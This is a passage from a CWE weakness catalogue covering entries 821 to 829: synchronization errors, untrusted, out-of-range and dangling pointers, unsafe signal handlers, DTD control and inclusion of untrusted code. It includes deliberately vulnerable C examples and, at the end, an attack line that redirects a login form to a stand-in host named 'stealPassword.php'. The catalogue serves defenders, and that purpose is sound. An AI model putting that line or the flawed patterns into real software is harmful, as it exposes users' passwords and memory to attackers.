| ParentOf | | 1096 | Singleton Class Instance Creation without Proper Locking or Synchronization | 1749 |

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------|------|
| ChildOf | | 662 | Improper Synchronization | 1324 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--------------------|------|
| MemberOf | | 557 | Concurrency Issues | 2046 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------------|------------|
| Integrity | Modify Application Data | |
| Confidentiality | Read Application Data | |
| Other | Alter Execution Logic | |

Demonstrative Examples

Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C

(bad)

```
static void print(char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putc(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}

int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
}
```

```
}  
    exit(0);  
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiEINdT
[blank line]
[blank line]

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-821: Incorrect Synchronization

Weakness ID : 821

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-822: Untrusted Pointer Dereference

| | |
|---------------------------|---------------------------|
| Weakness ID : 822 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program

state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.
- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2007-5655 | message-passing framework interprets values in packets as pointers, causing a crash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5655 |
| CVE-2010-2299 | labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2299 |
| CVE-2009-1719 | Untrusted dereference using undocumented constructor. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1719 |
| CVE-2009-1250 | An error code is incorrectly checked and interpreted as a pointer, leading to a crash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1250 |
| CVE-2009-0311 | An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0311 |
| CVE-2010-1818 | Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1818 |
| CVE-2010-3189 | ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3189 |
| CVE-2010-1253 | Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1253 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|---|---|------|
| MemberOf |  | 867 | 2011 Top 25 - Weaknesses On the Cusp | 900 | 2089 |
| MemberOf |  | 876 | CERT C++ Secure Coding Section 08 - Memory Management (MEM) | 868 | 2093 |
| MemberOf |  | 884 | CWE Cross-section | 884 | 2230 |

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains,

composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Related Attack Patterns

| CAPEC-ID | Attack Pattern Name |
|----------|----------------------|
| 129 | Pointer Manipulation |

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|---|------|
| ChildOf |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |
| CanFollow |  | 129 | Improper Validation of Array Index | 317 |

| Nature | Type | ID | Name | Page |
|------------|------|-----|---------------------|------|
| CanPrecede | B | 125 | Out-of-bounds Read | 307 |

| Nature | Type | ID | Name | Page |
|----------|------|-----|----------------|------|
| MemberOf | C | 465 | Pointer Issues | 2044 |

Alternate Terms

Untrusted pointer offset : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Common Consequences

| Scope | Impact | Likelihood |
|--|---|------------|
| Confidentiality | Read Memory <i>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i> | |
| Availability | DoS: Crash, Exit, or Restart <i>If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</i> | |
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands Modify Memory <i>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i> | |

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2010-2160 | Invalid offset in undocumented opcode leads to memory corruption. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2160 |

CWE-824: Access of Uninitialized Pointer

| | |
|---------------------------|----------------------------|
| Weakness ID : 824 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The program accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-825: Expired Pointer Dereference

| | |
|---------------------------|----------------------------|
| Weakness ID : 825 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

Dangling pointer :

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------------|--|------------|
| Confidentiality | Read Memory <i>If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.</i> | |
| Availability | DoS: Crash, Exit, or Restart <i>If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i> | |
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality Availability | <i>If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i> | |

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2008-5013 | access of expired memory address leads to arbitrary code execution https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5013 |
| CVE-2010-3257 | stale pointer issue leads to denial of service and possibly other consequences https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257 |
| CVE-2008-0062 | Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0062 |
| CVE-2007-1211 | read of value at an offset into a structure after the offset is no longer valid https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1211 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID : 826

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The program releases a resource that is still intended to be used by the program itself or another actor.

Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 666 | Operation on Resource in Wrong Phase of Lifetime | 1335 |
| CanPrecede |  | 672 | Operation on a Resource after Expiration or Release | 1347 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 399 | Resource Management Errors | 2041 |
| MemberOf |  | 840 | Business Logic Errors | 2077 |

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Confidentiality | Read Application Data Read Memory <i>If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.</i> | |
| Availability | DoS: Crash, Exit, or Restart <i>When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.</i> | |
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands Modify Application Data Modify Memory <i>When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.</i> | |

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-3547 | chain: race condition might allow resource to be released before operating on it, leading to NULL dereference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547 |

Notes

Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID : 827

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID : 828

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is `malloc()`, which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.
- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 364 | Signal Handler Race Condition | 826 |
| ParentOf |  | 479 | Signal Handler Use of a Non-reentrant Function | 1052 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------|------|
| MemberOf |  | 387 | Signal Errors | 2038 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | DoS: Crash, Exit, or Restart | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | <p><i>The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i></p> | |

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Effectiveness = High

Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(bad)

```

char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}

```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(bad)

```

#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;

```

```
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}

int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2008-4109 | Signal handler uses functions that ultimately call the unsafe syslog/malloc/sprintf, leading to denial of service via multiple login attempts https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4109 |
| CVE-2006-5051 | Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051 |
| CVE-2001-1349 | unsafe calls to library functions from signal handler https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1349 |
| CVE-2004-0794 | SIGURG can be used to remotely interrupt signal handler; other variants exist. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0794 |
| CVE-2004-2259 | SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259 |
| CVE-2002-1563 | SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1563 |

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID : 829

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design**Phase: Operation**

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design**Phase: Operation**

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on

looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(bad)

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(attack)

```
... Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

